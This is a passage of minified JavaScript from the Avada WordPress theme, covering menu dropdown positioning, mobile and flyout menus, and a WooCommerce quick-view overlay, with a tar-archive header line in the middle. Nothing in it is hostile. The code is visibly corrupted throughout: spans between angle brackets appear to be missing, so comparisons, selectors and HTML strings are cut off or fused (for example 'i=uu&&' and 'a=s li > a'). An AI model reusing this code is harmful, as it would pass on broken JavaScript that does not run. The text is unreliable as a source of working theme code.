"+e+"px)","margin-top":e}),n.find(".fusion-menu").height()>n.height()&&n.css("display","flex")),s.find(".fusion-header").length&&(i=s.find(".fusion-header").offset().top,!avadaMenuVars.header_sticky||t&&!avadaMenuVars.header_sticky_tablet||o&&!avadaMenuVars.header_sticky_mobile?(s.find(".fusion-header").css({position:"fixed",width:"100%","max-width":"100%",top:window.$wpadminbarHeight+u,"z-index":"210"}),jQuery(".fusion-header-sticky-height").css({display:"block",height:s.find(".fusion-header").outerHeight()})):i>window.$wpadminbarHeight&&(s.find(".fusion-header").css({position:"fixed",top:window.$wpadminbarHeight+u}),jQuery(".layout-boxed-mode").length&&s.find(".fusion-header").css("max-width",jQuery("#wrapper").outerWidth()+"px"),jQuery(".fusion-header-wrapper").css("height","")))}function o(){setTimeout((function(){var e=jQuery(".fusion-header-has-flyout-menu"),n=0,i=Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1366px) and (orientation: portrait)")||Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)"),s=Modernizr.mq("only screen and (max-width: "+avadaMenuVars.side_header_break_point+"px)");jQuery(".fusion-header-has-flyout-menu .fusion-secondary-header").length&&(n=jQuery(".fusion-header-has-flyout-menu .fusion-secondary-header").outerHeight()),e.find(".fusion-flyout-menu").css("display",""),!avadaMenuVars.header_sticky||i&&!avadaMenuVars.header_sticky_tablet||s&&!avadaMenuVars.header_sticky_mobile?(e.find(".fusion-header").attr("style",""),jQuery(".fusion-header-sticky-height").attr("style","")):"fixed"===e.find(".fusion-header").css("position")&&(e.find(".fusion-header").css("position",""),e.find(".fusion-header").offset().top>n&&e.find(".fusion-header").css("top",window.$wpadminbarHeight),jQuery(window).trigger("scroll")),jQuery("body").off("touchmove")}),250)}jQuery(".fusion-dropdown-svg").length&&jQuery(".fusion-dropdown-svg").each((function(){var e=jQuery(this).parents("li").find("> .sub-menu > li:first-child");(jQuery(e).hasClass("current-menu-item")||jQuery(e).hasClass("current-menu-parent")||jQuery(e).hasClass("current_page_item"))&&jQuery(this).addClass("fusion-svg-active"),jQuery(e).not(".current-menu-item, .current-menu-parent, .current_page_item").find("> a").on("mouseenter mouseleave",(function(){jQuery(this).parents("li").find(".fusion-dropdown-svg").toggleClass("fusion-svg-active")}))})),jQuery.fn.fusion_position_menu_dropdown=function(){return"top"===avadaMenuVars.header_position&&!jQuery("body.rtl").length||"left"===avadaMenuVars.header_position?jQuery(this).children(".sub-menu").each((function(){var e,n,i,s,u,t,o,a,r,d,l,m,f,h=jQuery(this);h.removeAttr("style"),h.show(),h.removeData("shifted"),h.length&&(n=(e=h.offset()).left,t=(i=e.top)+(s=h.height()),o=n+(u=h.outerWidth()),r=fusion.getAdminbarHeight(),l=(d=jQuery(window).scrollTop())+jQuery(window).height(),o>jQuery(window).width()?(h.addClass("fusion-switched-side"),h.parent().parent(".sub-menu").length?h.css({left:-1*u}):h.css("left",-1*u+h.parent().width()),h.data("shifted",1)):h.parent().parent(".sub-menu").length&&(h.removeClass("fusion-switched-side"),h.parent().parent(".sub-menu").data("shifted")&&(h.css("left",-1*u),h.data("shifted",1))),"top"!==avadaMenuVars.header_position&&t>l&&(a=s li > a").off("mouseenter mouseleave"),h.parents("li").find(".fusion-dropdown-svg").removeClass("fusion-svg-active"),a=(m=Math.floor(a/h.find("li").outerHeight()))*h.find("li").outerHeight(),f=h.find("> li:nth-child( "+(Math.abs(m)+1)+")"),(jQuery(f).hasClass("current-menu-item")||jQuery(f).hasClass("current-menu-parent")||jQuery(f).hasClass("current_page_item"))&&h.parents("li").find(".fusion-dropdown-svg").addClass("fusion-svg-active"),jQuery(f).not(".current-menu-item, .current-menu-parent, .current_page_item").find("> a").on("mouseenter mouseleave",(function(){h.parents("li").find(".fusion-dropdown-svg").toggleClass("fusion-svg-active")}))),h.css("top",a)))})):jQuery(this).children(".sub-menu").each((function(){var e,n,i,s,u,t,o,a,r,d,l,m,f;jQuery(this).removeAttr("style"),jQuery(this).removeData("shifted"),(e=jQuery(this)).length&&(i=(n=e.offset()).left,s=n.top,u=e.height(),t=e.outerWidth(),o=s+u,a=fusion.getAdminbarHeight(),d=(r=jQuery(window).scrollTop())+jQuery(window).height(),"right",0>i?(e.addClass("fusion-switched-side"),e.parent().parent(".sub-menu").length?id&&(l=u li > a").off("mouseenter mouseleave"),e.parents("li").find(".fusion-dropdown-svg").removeClass("fusion-svg-active"),l=(m=Math.floor(l/e.find("li").outerHeight()))*e.find("li").outerHeight(),f=e.find("> li:nth-child( "+(Math.abs(m)+1)+")"),(jQuery(f).hasClass("current-menu-item")||jQuery(f).hasClass("current-menu-parent")||jQuery(f).hasClass("current_page_item"))&&e.parents("li").find(".fusion-dropdown-svg").addClass("fusion-svg-active"),jQuery(f).not(".current-menu-item, .current-menu-parent, .current_page_item").find("> a").on("mouseenter mouseleave",(function(){e.parents("li").find(".fusion-dropdown-svg").toggleClass("fusion-svg-active")}))),e.css("top",l)))}))},jQuery.fn.walk_through_menu_items=function(){jQuery(this).fusion_position_menu_dropdown(),jQuery(this).find(".sub-menu").length&&jQuery(this).find(".sub-menu li").walk_through_menu_items()},jQuery.fn.position_cart_dropdown=function(){"top"!==avadaMenuVars.header_position&&jQuery(this).find(".fusion-menu-cart-items").each((function(){var e,n,i,s=jQuery(this),u=s.height(),t=fusion.getAdminbarHeight(),o=jQuery(window).scrollTop(),a=jQuery(window).height(),r=o+a;s.css("top",""),(n=(e=s.offset().top)+u)>r&&(i=uu&&(n=-1*(e-u+10),i.css("top",n))}))},jQuery.fn.fusion_position_megamenu=function(){var e,n,i,s,u,t,o,a,r,d,l;return"top"===avadaMenuVars.header_position&&(o=jQuery(".fusion-secondary-main-menu").length?jQuery(".fusion-header-wrapper .fusion-secondary-main-menu .fusion-row"):jQuery(".fusion-header-wrapper .fusion-row"),a=o.width(),r=o.offset(),d=void 0!==r?r.left:0,l=d+a),jQuery(".side-header-left").length?this.each((function(){jQuery(this).children("li").each((function(){var e,n,i,s,u,t,o,a,r=jQuery(this).find(".fusion-megamenu-wrapper");r.length&&(r.removeAttr("style"),e=jQuery("#side-header").outerWidth()-1,s=(n=r.offset().top)+(i=r.height()),u=fusion.getAdminbarHeight(),t=jQuery(".side-header-wrapper").offset().top-u,o=jQuery(window).height(),jQuery("body.rtl").length?r.css({left:e,right:"auto"}):r.css("left",e),s>t+o&&jQuery(window).height()>=jQuery(".side-header-wrapper").height()&&(a=it+o&&jQuery(window).height()>=jQuery(".side-header-wrapper").height()&&(a=ia?d=i-l+(a-r)/2:(d=-1*(n.left-(t-r)),d=-1*(r-(i-u)),("left"===avadaMenuVars.logo_alignment.toLowerCase()||"center"===avadaMenuVars.logo_alignment.toLowerCase()&&!jQuery(".header-v5").length||jQuery(this).parents(".sticky-header").length)&&i-d>t&&(d=-1*(t-i))),s.css("right",d)))}))})):this.each((function(){jQuery(this).children("li").each((function(){var e=jQuery(this),n=e.offset(),i=e.find(".fusion-megamenu-wrapper"),s=i.outerWidth(),r=0;i.length&&(i.removeAttr("style"),a=o.width(),n.left+s>t&&(s===jQuery(window).width()?r=-1*n.left:s>a?r=d-n.left+(a-s)/2:(r=-1*(n.left-(t-s)),"right"===avadaMenuVars.logo_alignment.toLowerCase()&&n.left+ru+t&&(i.css("right","-1px").css("left","auto"),i.find(".sub-menu").each((function(){jQuery(this).css("right","100px").css("left","auto")}))))},n(),i(),u(),jQuery(window).on("header-rendered",(function(){n(),i(),u()})),jQuery(document.body).on("mouseenter",".fusion-dropdown-menu",(function(){jQuery(this).css("overflow","visible")})),jQuery(document.body).on("mouseleave",".fusion-dropdown-menu, .fusion-megamenu-menu, .fusion-custom-menu-item",(function(){jQuery(this).css("overflow",""),jQuery(".fusion-active-link").removeClass("fusion-active-link")})),jQuery(document.body).on("click",".fusion-main-menu-search",(function(e){e.stopPropagation()})),jQuery(document.body).on("click",".fusion-main-menu-search:not(.fusion-search-overlay) .fusion-main-menu-icon",(function(e){e.preventDefault(),e.stopPropagation(),"block"===jQuery(this).parent().find(".fusion-custom-menu-item-contents").css("display")?(jQuery(this).parent().find(".fusion-custom-menu-item-contents").hide(),jQuery(this).parent().removeClass("fusion-main-menu-search-open"),jQuery(this).parent().find("style").remove(),jQuery(this).attr("aria-expanded","false")):(jQuery(this).parent().find(".fusion-custom-menu-item-contents").removeAttr("style"),jQuery(this).parent().find(".fusion-custom-menu-item-contents").show(),jQuery(this).parent().addClass("fusion-main-menu-search-open"),jQuery(this).parent().append(""),jQuery(this).parent().find(".fusion-custom-menu-item-contents .s").focus(),jQuery(this).attr("aria-expanded","true"),"top"===avadaMenuVars.header_position&&(!jQuery("body.rtl").length&&0>jQuery(this).parent().find(".fusion-custom-menu-item-contents").offset().left&&jQuery(this).parent().find(".fusion-custom-menu-item-contents").css({left:"0",right:"auto"}),jQuery("body.rtl").length&&jQuery(this).parent().find(".fusion-custom-menu-item-contents").offset().left+jQuery(this).parent().find(".fusion-custom-menu-item-contents").width()>jQuery(window).width()&&jQuery(this).parent().find(".fusion-custom-menu-item-contents").css({left:"auto",right:"0"})))})),jQuery(document.body).on("click",".fusion-search-overlay .fusion-main-menu-icon, .fusion-close-search",(function(e){var n=jQuery(".fusion-main-menu");e.preventDefault(),resizeOverlaySearch(),n.addClass("search-transition"),setTimeout((function(){n.removeClass("search-transition")}),800),n.toggleClass("search-open"),n.hasClass("search-open")?(n.find('.fusion-search-field input[type="search"]').focus(),n.find(".fusion-main-menu-search").attr("aria-expanded","true")):n.find(".fusion-main-menu-search").attr("aria-expanded","false")})),jQuery("a").on("focus",(function(){jQuery(".fusion-active-link ").removeClass("fusion-active-link"),jQuery(this).parents(".fusion-dropdown-menu, .fusion-main-menu-cart, .fusion-megamenu-menu, .fusion-custom-menu-item").length&&(jQuery(this).parents("li").addClass("fusion-active-link"),jQuery(".fusion-main-menu").css("overflow","visible"))})),jQuery(document).on("click",(function(){jQuery(".fusion-main-menu-search-dropdown .fusion-main-menu-search .fusion-custom-menu-item-contents").hide(),jQuery(".fusion-main-menu-search-dropdown .fusion-main-menu-search").removeClass("fusion-main-menu-search-open"),jQuery(".fusion-main-menu-search-dropdown .fusion-main-menu-search").find("style").remove()})),jQuery(".fusion-header-wrapper .fusion-secondary-menu > ul > li:last-child").position_last_top_menu_item(),s(".fusion-main-menu .fusion-main-menu-cart"),s(".fusion-secondary-menu .fusion-menu-login-box"),jQuery(".fusion-megamenu-menu").on("mouseenter",(function(){jQuery(this).find(".shortcode-map").length&&jQuery(this).find(".shortcode-map").each((function(){jQuery(this).reinitializeGoogleMap()}))})),e=!1,jQuery(".fusion-megamenu-menu").on("mouseover",(function(){jQuery(this).find(".fusion-megamenu-widgets-container iframe").each((function(){e||jQuery(this).attr("src",jQuery(this).attr("src")),e=!0}))})),jQuery(".fusion-main-menu").on("mouseenter",".fusion-menu-cart",(function(){jQuery(this).position_cart_dropdown()})),jQuery(".fusion-main-menu .fusion-main-menu-search .fusion-main-menu-icon").on("click",(function(){var e=jQuery(this);setTimeout((function(){e.parent().find(".fusion-custom-menu-item-contents").position_menu_search_form()}),5)})),jQuery(window).on("fusion-resize-horizontal",(function(){jQuery(".fusion-main-menu .fusion-main-menu-search .fusion-custom-menu-item-contents").position_menu_search_form()})),jQuery(document).on("click",".fusion-mobile-selector",(function(){var e=jQuery(this).next("ul");e.hasClass("mobile-menu-expanded")?(e.removeClass("mobile-menu-expanded"),jQuery(this).attr("aria-expanded","false")):(e.addClass("mobile-menu-expanded"),jQuery(this).attr("aria-expanded","true")),e.slideToggle(200,"easeOutQuad"),jQuery(".fusion-mobile-menu-search").slideToggle(200,"easeOutQuad")})),jQuery(".fusion-is-sticky").length&&jQuery(".fusion-mobile-sticky-nav-holder").length?jQuery(".fusion-mobile-menu-icons .awb-icon-bars").attr("aria-controls",jQuery(".fusion-mobile-sticky-nav-holder > ul").attr("id")):jQuery(".fusion-mobile-menu-icons .awb-icon-bars").attr("aria-controls",jQuery(".fusion-mobile-nav-holder").not(".fusion-mobile-sticky-nav-holder").find("> ul").attr("id")),jQuery(window).on("scroll",(function(){setTimeout((function(){jQuery(".fusion-is-sticky").length&&jQuery(".fusion-mobile-sticky-nav-holder").length?jQuery(".fusion-mobile-menu-icons .awb-icon-bars").attr("aria-controls",jQuery(".fusion-mobile-sticky-nav-holder > ul").attr("id")):jQuery(".fusion-mobile-menu-icons .awb-icon-bars").attr("aria-controls",jQuery(".fusion-mobile-nav-holder").not(".fusion-mobile-sticky-nav-holder").find("> ul").attr("id"))}),50)})),jQuery(document).on("click",".fusion-mobile-menu-icons .awb-icon-bars",(function(e){var n,i;e.preventDefault(),n=1<=jQuery(".fusion-header-v4").length||1<=jQuery(".fusion-header-v5").length?".fusion-secondary-main-menu":1<=jQuery("#side-header").length?"#side-header":".fusion-header",(i=1<=jQuery(".fusion-is-sticky").length&&1<=jQuery(".fusion-mobile-sticky-nav-holder").length?jQuery(n).find(".fusion-mobile-sticky-nav-holder"):jQuery(n).find(".fusion-mobile-nav-holder").not(".fusion-mobile-sticky-nav-holder")).slideToggle(200,"easeOutQuad"),i.toggleClass("fusion-mobile-menu-expanded"),i.hasClass("fusion-mobile-menu-expanded")?jQuery(this).attr("aria-expanded","true"):jQuery(this).attr("aria-expanded","false")})),jQuery(document).on("click",".fusion-mobile-menu-icons .awb-icon-search",(function(e){e.preventDefault(),jQuery(".fusion-secondary-main-menu .fusion-secondary-menu-search, .side-header-wrapper .fusion-secondary-menu-search, .fusion-mobile-menu-search").slideToggle(200,"easeOutQuad")})),jQuery(document).on("click",".fusion-flyout-menu-icons .fusion-flyout-menu-toggle",(function(e){var n=jQuery(".fusion-header-has-flyout-menu");e.preventDefault(),jQuery(document).off("keyup.flyoutSearchEsc"),jQuery(document).off("keyup.flyoutMenuEsc"),n.hasClass("fusion-flyout-active")?(n.hasClass("fusion-flyout-search-active")?(n.addClass("fusion-flyout-menu-active"),t(),jQuery(document).on("keyup.flyoutMenuEsc",(function(e){27===e.keyCode&&document.querySelector(".fusion-flyout-menu-icons .fusion-flyout-menu-toggle").click()}))):(n.removeClass("fusion-flyout-active"),n.removeClass("fusion-flyout-menu-active"),o()),n.removeClass("fusion-flyout-search-active")):(n.addClass("fusion-flyout-active"),n.addClass("fusion-flyout-menu-active"),t(),jQuery(document).on("keyup.flyoutMenuEsc",(function(e){27===e.keyCode&&document.querySelector(".fusion-flyout-menu-icons .fusion-flyout-menu-toggle").click()})))})),jQuery(document).on("click",".fusion-flyout-menu-icons .fusion-flyout-search-toggle",(function(e){var n=jQuery(".fusion-header-has-flyout-menu");e.preventDefault(),jQuery(document).off("keyup.flyoutSearchEsc"),jQuery(document).off("keyup.flyoutMenuEsc"),n.hasClass("fusion-flyout-active")?(n.hasClass("fusion-flyout-menu-active")?(n.addClass("fusion-flyout-search-active"),Modernizr.mq("only screen and (min-width:"+parseInt(avadaMenuVars.side_header_break_point,10)+"px)")&&n.find(".fusion-flyout-search .s").focus(),jQuery(document).on("keyup.flyoutSearchEsc",(function(e){27===e.keyCode&&document.querySelector(".fusion-flyout-menu-icons .fusion-icon.awb-icon-search").click()}))):(n.removeClass("fusion-flyout-active"),n.removeClass("fusion-flyout-search-active"),o()),n.removeClass("fusion-flyout-menu-active")):(n.addClass("fusion-flyout-active"),n.addClass("fusion-flyout-search-active"),Modernizr.mq("only screen and (min-width:"+parseInt(avadaMenuVars.side_header_break_point,10)+"px)")&&n.find(".fusion-flyout-search .s").focus(),t(),jQuery(document).on("keyup.flyoutSearchEsc",(function(e){27===e.keyCode&&document.querySelector(".fusion-flyout-menu-icons .fusion-icon.awb-icon-search").click()})))})),jQuery("html").on("mouseenter",".fusion-no-touch .fusion-flyout-menu .menu-item a",(function(){jQuery(this).parents(".fusion-flyout-menu").find(".fusion-flyout-menu-backgrounds #item-bg-"+jQuery(this).parent().data("item-id")).addClass("active")})),jQuery("html").on("mouseleave",".fusion-no-touch .fusion-flyout-menu .menu-item a",(function(){jQuery(this).parents(".fusion-flyout-menu").find(".fusion-flyout-menu-backgrounds #item-bg-"+jQuery(this).parent().data("item-id")).removeClass("active")})),jQuery(window).on("resize",(function(){jQuery(".fusion-mobile-menu-design-flyout").hasClass("fusion-flyout-active")&&Modernizr.mq("screen and (min-width: "+(parseInt(avadaHeaderVars.side_header_break_point,10)+1)+"px)")&&jQuery(".fusion-flyout-menu-icons .fusion-flyout-menu-toggle").trigger("click")})).on("fusion-reset-flyout-active-css",(function(){o()}))})),jQuery(window).on("load",(function(){function e(){var e=0;Modernizr.mq("only screen and (max-width: "+avadaMenuVars.side_header_break_point+"px)")?(jQuery(".fusion-secondary-menu > ul").children("li").each((function(){e+=jQuery(this).outerWidth(!0)+2})),e>jQuery(window).width()&&318 ul").append('
    '),jQuery(".fusion-secondary-menu > ul").css("position","relative"),jQuery(".fusion-mobile-menu-sep").css({position:"absolute",top:jQuery(".fusion-secondary-menu > ul > li").height()-1+"px",width:"100%","border-bottom-width":"1px","border-bottom-style":"solid"}),window.mobileMenuSepAdded=!0):(jQuery(".fusion-secondary-menu > ul").css("position",""),jQuery(".fusion-secondary-menu > ul").find(".fusion-mobile-menu-sep").remove(),window.mobileMenuSepAdded=!1)):(jQuery(".fusion-secondary-menu > ul").css("position",""),jQuery(".fusion-secondary-menu > ul").find(".fusion-mobile-menu-sep").remove(),window.mobileMenuSepAdded=!1)}window.mobileMenuSepAdded=!1,e(),"classic"===avadaMenuVars.mobile_menu_design&&(jQuery(".sh-mobile-nav-holder").append('"),jQuery(".sh-mobile-nav-holder .mobile-selector").append('
    ')),jQuery(".sh-mobile-nav-holder").append(jQuery(".nav-holder .fusion-navbar-nav").clone()),jQuery(".sh-mobile-nav-holder .fusion-navbar-nav").attr("id","mobile-nav"),jQuery(".sh-mobile-nav-holder ul#mobile-nav").removeClass("fusion-navbar-nav"),jQuery(".sh-mobile-nav-holder ul#mobile-nav").children(".cart").remove(),jQuery(".sh-mobile-nav-holder ul#mobile-nav .mobile-nav-item").children(".login-box").remove(),jQuery(".sh-mobile-nav-holder ul#mobile-nav li").children("#main-nav-search-link").each((function(){jQuery(this).parents("li").remove()})),jQuery(".sh-mobile-nav-holder ul#mobile-nav").find("li").each((function(){var e="mobile-nav-item";(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor"))&&(e+=" mobile-current-nav-item"),jQuery(this).attr("class",e),jQuery(this).attr("id")&&jQuery(this).attr("id",jQuery(this).attr("id").replace("menu-item","mobile-menu-item")),jQuery(this).attr("style","")})),jQuery(".sh-mobile-nav-holder .mobile-selector").on("click",(function(){jQuery(".sh-mobile-nav-holder #mobile-nav").hasClass("mobile-menu-expanded")?(jQuery(".sh-mobile-nav-holder #mobile-nav").removeClass("mobile-menu-expanded"),jQuery(this).attr("aria-expanded","false")):(jQuery(".sh-mobile-nav-holder #mobile-nav").addClass("mobile-menu-expanded"),jQuery(this).attr("aria-expanded","true")),jQuery(".sh-mobile-nav-holder #mobile-nav").slideToggle(200,"easeOutQuad")})),avadaMenuVars.submenu_slideout&&(jQuery(".header-wrapper .mobile-topnav-holder .mobile-topnav li, .header-wrapper .mobile-nav-holder .navigation li, .sticky-header .mobile-nav-holder .navigation li, .sh-mobile-nav-holder .navigation li").each((function(){var e="mobile-nav-item";(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor")||jQuery(this).hasClass("mobile-current-nav-item"))&&(e+=" mobile-current-nav-item"),jQuery(this).attr("class",e),jQuery(this).find(" > ul").length&&(jQuery(this).prepend(''),jQuery(this).find(" > ul").hide())})),jQuery(".header-wrapper .mobile-topnav-holder .open-submenu, .header-wrapper .mobile-nav-holder .open-submenu, .sticky-header .mobile-nav-holder .open-submenu, .sh-mobile-nav-holder .open-submenu").on("click",(function(e){e.stopPropagation(),jQuery(this).parent().children(".sub-menu").slideToggle(200,"easeOutQuad")}))),("ontouchstart"in document.documentElement||navigator.msMaxTouchPoints)&&(jQuery(".fusion-main-menu li.menu-item-has-children > a, .fusion-secondary-menu li.menu-item-has-children > a, .order-dropdown > li .current-li").on("click",(function(){var e=jQuery(this);return e.hasClass("hover")?(e.removeClass("hover"),!0):(e.addClass("hover"),jQuery(".fusion-main-menu li.menu-item-has-children > a, .fusion-secondary-menu li.menu-item-has-children > a, .order-dropdown > li .current-li").not(this).removeClass("hover"),!1)})),jQuery(".sub-menu li, .fusion-mobile-nav-item li").not("li.menu-item-has-children").on("click",(function(){var e=jQuery(this).find("a").attr("href");return"_blank"!==jQuery(this).find("a").attr("target")&&(0 a, .fusion-secondary-menu li.menu-item-has-children > a, .side-nav li.page_item_has_children > a").each((function(){jQuery(this).attr("aria-haspopup","true")})),1<=jQuery(".megaResponsive").length&&jQuery(".mobile-nav-holder.main-menu").addClass("set-invisible"),"top"===avadaMenuVars.header_position&&jQuery(window).on("fusion-resize-horizontal",(function(){jQuery(".main-nav-search").each((function(){var e,n,i,s,u,t;jQuery(this).hasClass("search-box-open")&&(n=(e=jQuery(this).find(".main-nav-search-form")).outerWidth(),s=(i=e.offset().left)+n,u=e.parent().offset().left,t=jQuery(window).width(),jQuery("body.rtl").length?parseInt(i,10)===parseInt(u,10)&&s>t||it?e.css({left:"auto",right:"0"}):e.css({left:"0",right:"auto"}):ii||parseInt(i,10)===parseInt(u,10)&&0>i-n?e.css({left:"0",right:"auto"}):e.css({left:"auto",right:"0"}))}))})),jQuery(window).on("fusion-resize-horizontal",(function(){e()})),jQuery(".fusion-menu-login-box").each((function(){var e=jQuery(this),n=e.find(".fusion-custom-menu-item-contents");n.find('input[id="username"]').on("click",(function(){e.addClass("fusion-active-login"),e.closest(".fusion-main-menu").css("overflow","visible")})),n.find('input[id="username"]').on("input",(function(){e.hasClass("fusion-active-login")&&e.removeClass("fusion-active-login").addClass("fusion-active-link")})),n.find("input").not('[id="username"]').on("click",(function(){e.removeClass("fusion-active-login").removeClass("fusion-active-link"),e.closest(".fusion-main-menu").css("overflow","")}))})),jQuery(".fusion-main-menu .fusion-menu-login-box").length&&jQuery(".fusion-main-menu").on("mouseleave",(function(){var e=jQuery(this),n=e.find(".fusion-menu-login-box");setTimeout((function(){"hidden"===n.css("overflow")&&e.css("overflow","")}),10)})),jQuery(document).on("click",(function(e){"fusion-custom-menu-item-contents"!==e.target.className&&"input-text"!==e.target.className&&(jQuery(".fusion-custom-menu-item-contents").parents(".fusion-custom-menu-item").removeClass("fusion-active-login").removeClass("fusion-active-link"),jQuery(".fusion-main-menu").css("overflow",""))}))}));Avada/assets/min/js/general/awb-woo-quick-view.js000064400000020515152342437710015704 0ustar00jQuery(document).ready((function(){let e,t;jQuery("body").on("click",".fusion-quick-view",(function(i){jQuery(".fusion-woocommerce-quick-view-container").length||(jQuery("#main > .fusion-row").append(jQuery("#awb-quick-view-template").html()),jQuery("#awb-quick-view-template").remove());const o=jQuery(".fusion-woocommerce-quick-view-overlay"),n=jQuery(".fusion-woocommerce-quick-view-container"),a=n.find(".fusion-wqv-preview-image"),r=n.find(".fusion-wqv-content"),d=n.find(".fusion-wqv-close"),s=n.find(".fusion-wqv-loader"),u=jQuery(this).data("product-id"),c=jQuery(this).closest(".product"),f=c.length?c:jQuery(this).closest(".fusion-carousel-item"),l=f.find(".wp-post-image"),h=f.find(".onsale"),p=f.find(".fusion-out-of-stock"),w=f.find(".fusion-price-rating").length?f.find(".fusion-price-rating"):f.find(".price").first(),m=parseInt(l.height(),10)/parseInt(l.width(),10);let y,g=f.find(".product-title").length?f.find(".product-title"):f.find(".fusion-rollover-title"),v={},j=!1,Q=!0,_="";i.preventDefault(),jQuery("body").addClass("fusion-wqv-open"),jQuery(".fusion-wqv-open").on("keydown",(function(e){27===e.keyCode&&jQuery(".fusion-wqv-close button").trigger("click")})),void 0!==u&&(0===g.length&&void 0!==jQuery(this).data("product-title")&&(g=jQuery("

    "+jQuery(this).data("product-title")+"

    ")),r.empty(),s.find(".entry-title, .star-rating, .price").empty(),jQuery(".fusion-footer-parallax").length&&(jQuery("#main").css("z-index","auto"),"fixed"===jQuery(".fusion-footer-parallax").css("position")&&(jQuery(".fusion-footer-parallax").css("z-index","-1"),jQuery("#sliders-container").find('.tfs-slider[data-parallax="1"]').length&&jQuery("#sliders-container").css("z-index","auto"))),n.stop().fadeIn("200"),a.fadeIn("200").html(l.clone()),o.stop().fadeIn("400"),(h.length||p.length)&&(a.prepend('
    '),p.length&&(n.addClass("outofstock"),a.find(".fusion-woo-badges-wrapper").append(p.clone())),h.length&&a.find(".fusion-woo-badges-wrapper").append(h.clone())),f.find("> span, > a, > div").fadeTo("200","0"),f.addClass("fusion-faded-out"),0===l.length?(l=jQuery(i.currentTarget),void 0!==l.data("image-height")?(m=parseInt(l.data("image-height"),10)/parseInt(l.data("image-width"),10),v.startWidth=l.data("image-width"),v.startHeight=l.data("image-height")):(Q=!1,v.startWidth=400,v.startHeight=400)):(v.startWidth=l.width(),v.startHeight=l.height()),v.startTop=l.offset().top-jQuery(window).scrollTop(),v.startLeft=l.offset().left,v.endWidth=400,1.77<1/m&&(v.endWidth=500),1.77jQuery(window).width()-v.endWidth&&(v.finalWidth=Math.round(jQuery(window).width()-20)),v.finalLeft=Math.round((jQuery(window).width()-v.finalWidth)/2),n.css({top:v.startTop,left:v.startLeft,width:v.startWidth,height:v.startHeight,"background-color":avadaWooCommerceVars.shop_page_bg_color}),a.css({"max-width":v.startWidth>v.endWidth?"100%":v.endWidth,"max-height":v.startWidth>v.endWidth?"auto":v.endHeight}),a.find("img").removeAttr("style"),setTimeout((function(){n.animate({top:v.endTop+"px",left:v.endLeft+"px",width:v.endWidth+"px",height:v.endHeight+"px"},800,"easeInOutCubic",(function(){v.startWidth>v.endWidth&&a.css({"max-width":v.endWidth,"max-height":v.endHeight})}))}),200),setTimeout((function(){n.animate({left:v.finalLeft+"px",width:v.finalWidth+"px"},600,"easeInOutCubic",(function(){jQuery(this).addClass("complete"),jQuery(this).css("top",""),jQuery(this).css("left","")}))}),1e3),setTimeout((function(){d.fadeIn("300"),40>avadaWooCommerceVars.shop_page_bg_color_lightness&&d.find("button").addClass("light"),j=!0,n.hasClass("fusion-quick-view-loaded")||(g.length&&(s.find(".entry-title").html(g.text()),parseFloat(avadaWooCommerceVars.post_title_font_size)",n.addClass("fusion-quick-view-loaded"),e=setInterval((function(){j&&(n.addClass("fusion-animate-content fusion-quick-view-loaded"),n.find(".fusion-wqv-content").show(),setTimeout((function(){r.html(i),!Q&&r.find(".woocommerce-product-gallery .wp-post-image").length&&(a.fadeIn("200").html(r.find(".woocommerce-product-gallery .wp-post-image").first().clone()),v.endHeight=a.find("img").height(),n.animate({height:v.endHeight+"px"},800,"easeInOutCubic")),r.find(".woocommerce-product-gallery").css("width",v.endWidth+"px"),r.find(".product").not(".bundled_product").css("max-height",v.endHeight+"px"),"undefined"!=typeof productBackgroundColor&&(n.css("background-color",productBackgroundColor),40>productBackgroundColorLightness&&d.find("button").addClass("light")),"undefined"!=typeof productQuickViewSingleURL&&n.find(".woocommerce-review-link").length&&(_=n.find(".woocommerce-review-link").prop("hash"),n.find(".woocommerce-review-link").prop("href",productQuickViewSingleURL+_).addClass("avada-noscroll")),s.stop().fadeTo("300","0"),n.find(".entry-summary").animate({opacity:"1"},500,"easeInOutCubic",(function(){jQuery(this).scrollTop(0)})),n.find(".entry-summary").children().animate({"padding-top":"0"},500,"easeInOutCubic")}),400),setTimeout((function(){y=n.find(".fusion-button-view-details"),y.css("top",y.height()),y.animate({opacity:"1",top:"0"},200,"easeInOutCubic")}),700),setTimeout((function(){n.removeClass("fusion-animate-content"),jQuery("body").trigger("quick-view-displayed")}),900),setTimeout((function(){fusionInitPostFlexSlider(),jQuery(window).trigger("AddAvadaSelect"),"undefined"!=typeof wc_add_to_cart_variation_params&&jQuery(".variations_form").each((function(){jQuery(this).wc_variation_form()})),avadaAddQuantityBoxes()}),400),t=setInterval((function(){10>Math.abs(n.find(".flex-active-slide").width()-n.find(".fusion-wqv-preview-image").width())&&(n.find(".fusion-wqv-preview-image").fadeOut("400"),clearInterval(t))}),500),clearInterval(e))}),25)})))})),jQuery(document).on("click",".fusion-wqv-close button",(function(i){var o=jQuery(this).closest(".fusion-woocommerce-quick-view-container");o.removeClass("fusion-quick-view-loaded"),clearInterval(e),clearInterval(t),jQuery(".fusion-wqv-open").off("keydown"),jQuery("body").removeClass("fusion-wqv-open"),jQuery(".fusion-woocommerce-quick-view-overlay").fadeOut("400"),o.stop().animate({width:o.width()/2,height:o.height()/2,opacity:"0"},300,"easeInOutCubic",(function(){jQuery(this).hide(),jQuery(this).removeAttr("style"),jQuery(this).removeClass("complete"),jQuery(this).find(".fusion-wqv-preview-image").removeAttr("style"),jQuery(this).find(".entry-title").removeAttr("style"),jQuery(".fusion-footer-parallax").length&&(jQuery("#main").css("z-index",""),jQuery(".fusion-footer-parallax").css("z-index",""),jQuery("#sliders-container").css("z-index",""))})),o.find(".fusion-wqv-close").fadeOut("300"),jQuery(".fusion-faded-out").find("> span, > a, > div").fadeTo("300","1",(function(){jQuery(this).css("opacity","")})),jQuery(".fusion-faded-out").removeClass("fusion-faded-out")})),jQuery(document).on("click",".fusion-woocommerce-quick-view-overlay",(function(e){jQuery(".fusion-wqv-close button").trigger("click")})),jQuery(window).on("resize",(function(e){var t=jQuery(".fusion-woocommerce-quick-view-container"),i=t.find(".woocommerce-product-gallery").width(),o=jQuery(window).width();jQuery("body").hasClass("fusion-wqv-open")&&(t.width() li a, .fusion-header-wrapper .fusion-secondary-main-menu").attr("style",""),jQuery(".fusion-is-sticky").removeClass("fusion-is-sticky")}function fusionInitStickyHeader(){var 